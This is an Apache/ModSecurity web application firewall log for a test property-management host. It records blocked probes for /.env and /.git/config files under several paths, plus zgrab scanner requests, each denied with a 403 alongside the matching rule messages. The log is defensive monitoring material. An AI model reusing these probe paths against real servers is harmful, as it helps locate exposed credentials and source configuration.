[Fri Jul 07 21:38:29.831295 2023] [:error] [pid 516297] [client 142.93.153.3:53840] [client 142.93.153.3] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZKhptUFqXNkF48M1IYnzMgAAAAE&quot;]
[Fri Jul 07 21:38:30.277976 2023] [:error] [pid 516264] [client 142.93.153.3:53908] [client 142.93.153.3] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZKhptkeXIouTpdqUUtwf7AAAAAo&quot;]
[Fri Jul 07 21:38:30.278194 2023] [:error] [pid 516264] [client 142.93.153.3:53908] [client 142.93.153.3] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZKhptkeXIouTpdqUUtwf7AAAAAo&quot;]
[Fri Jul 07 21:38:30.278338 2023] [:error] [pid 516264] [client 142.93.153.3:53908] [client 142.93.153.3] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZKhptkeXIouTpdqUUtwf7AAAAAo&quot;]
[Fri Jul 07 21:50:12.700912 2023] [:error] [pid 516260] [client 171.67.70.229:45230] [client 171.67.70.229] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZKhsdAah-CQgYU6zEAXU6QAAAAw&quot;]
[Fri Jul 07 21:50:12.701383 2023] [:error] [pid 516260] [client 171.67.70.229:45230] [client 171.67.70.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZKhsdAah-CQgYU6zEAXU6QAAAAw&quot;]
[Fri Jul 07 21:50:12.701557 2023] [:error] [pid 516260] [client 171.67.70.229:45230] [client 171.67.70.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZKhsdAah-CQgYU6zEAXU6QAAAAw&quot;]
[Fri Jul 07 21:50:31.984786 2023] [:error] [pid 516298] [client 171.67.70.229:42828] [client 171.67.70.229] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZKhsh0GtRnb_2psI9GhA_wAAAAM&quot;]
[Fri Jul 07 21:50:31.985212 2023] [:error] [pid 516298] [client 171.67.70.229:42828] [client 171.67.70.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZKhsh0GtRnb_2psI9GhA_wAAAAM&quot;]
[Fri Jul 07 21:50:31.985385 2023] [:error] [pid 516298] [client 171.67.70.229:42828] [client 171.67.70.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZKhsh0GtRnb_2psI9GhA_wAAAAM&quot;]
[Sat Jul 08 01:50:13.393397 2023] [:error] [pid 518656] [client 171.67.70.233:48384] [client 171.67.70.233] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZKiktYRz_vdEHmXipitNPwAAAAo&quot;]
[Sat Jul 08 01:50:13.393835 2023] [:error] [pid 518656] [client 171.67.70.233:48384] [client 171.67.70.233] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZKiktYRz_vdEHmXipitNPwAAAAo&quot;]
[Sat Jul 08 01:50:13.394050 2023] [:error] [pid 518656] [client 171.67.70.233:48384] [client 171.67.70.233] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZKiktYRz_vdEHmXipitNPwAAAAo&quot;]
[Sat Jul 08 01:50:31.695060 2023] [:error] [pid 518657] [client 171.67.70.233:45626] [client 171.67.70.233] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZKikx4utL4D_h1VUa52pfgAAAAA&quot;]
[Sat Jul 08 01:50:31.695434 2023] [:error] [pid 518657] [client 171.67.70.233:45626] [client 171.67.70.233] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZKikx4utL4D_h1VUa52pfgAAAAA&quot;]
[Sat Jul 08 01:50:31.695630 2023] [:error] [pid 518657] [client 171.67.70.233:45626] [client 171.67.70.233] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZKikx4utL4D_h1VUa52pfgAAAAA&quot;]
[Thu Jul 13 11:01:29.750559 2023] [autoindex:error] [pid 615795] [client 93.70.96.81:12728] AH01276: Cannot serve directory /var/www/pms.test.indaco.store/www/product-images/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm) found, and server-generated directory index forbidden by Options directive
[Sat Jul 15 05:14:30.455080 2023] [:error] [pid 645221] [client 190.211.252.154:49454] [client 190.211.252.154] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZLIPFgPAHmZxpaZOgaUL7QAAAAQ&quot;]
[Sat Jul 15 05:14:30.456421 2023] [:error] [pid 645221] [client 190.211.252.154:49454] [client 190.211.252.154] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZLIPFgPAHmZxpaZOgaUL7QAAAAQ&quot;]
[Sat Jul 15 05:14:30.457246 2023] [:error] [pid 645221] [client 190.211.252.154:49454] [client 190.211.252.154] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZLIPFgPAHmZxpaZOgaUL7QAAAAQ&quot;]
[Mon Jul 17 02:19:49.892835 2023] [:error] [pid 673637] [client 3.143.209.15:51956] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;ZLSJJYZYX_VnrzSUhoVlPAAAAAI&quot;]
[Mon Jul 17 02:19:49.893142 2023] [:error] [pid 673637] [client 3.143.209.15:51956] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;ZLSJJYZYX_VnrzSUhoVlPAAAAAI&quot;]
[Mon Jul 17 02:19:49.893294 2023] [:error] [pid 673637] [client 3.143.209.15:51956] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;ZLSJJYZYX_VnrzSUhoVlPAAAAAI&quot;]
[Mon Jul 17 02:19:49.894212 2023] [:error] [pid 673638] [client 3.143.209.15:51964] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /beta/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;ZLSJJaf8b0BmNA89Kdw_YAAAAAM&quot;]
[Mon Jul 17 02:19:49.894555 2023] [:error] [pid 673638] [client 3.143.209.15:51964] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;ZLSJJaf8b0BmNA89Kdw_YAAAAAM&quot;]
[Mon Jul 17 02:19:49.894759 2023] [:error] [pid 673638] [client 3.143.209.15:51964] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;ZLSJJaf8b0BmNA89Kdw_YAAAAAM&quot;]
[Mon Jul 17 02:19:49.896215 2023] [:error] [pid 673639] [client 3.143.209.15:51958] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;ZLSJJXTUyDq7zN9MWDuScwAAAAQ&quot;]
[Mon Jul 17 02:19:49.896415 2023] [:error] [pid 673639] [client 3.143.209.15:51958] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;ZLSJJXTUyDq7zN9MWDuScwAAAAQ&quot;]
[Mon Jul 17 02:19:49.896543 2023] [:error] [pid 673639] [client 3.143.209.15:51958] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;ZLSJJXTUyDq7zN9MWDuScwAAAAQ&quot;]
[Mon Jul 17 02:19:49.898055 2023] [:error] [pid 673635] [client 3.143.209.15:51948] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;ZLSJJeqR2JONb5tmzF-nZwAAAAA&quot;]
[Mon Jul 17 02:19:49.898260 2023] [:error] [pid 673635] [client 3.143.209.15:51948] [client 3.143.209.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;ZLSJJeqR2JONb5tmzF-nZwAAAAA&quot;]
[Mon Jul 17 02:19:49.898416 2023] [:error] [pid 673635] [client 3.143.209.15:51948] [client 3.143.209.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;ZLSJJeqR2JONb5tmzF-nZwAAAAA&quot;]
[Mon Jul 17 02:19:49.899746 2023] [:error] [pid 673636] [client 3.143.209.15:51984] [client 3.143.209.15] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v2/.git/config&quot;] [unique_id &quot;ZLSJJT4zPyLpySdBdU6pXwAAAAE&quot;]
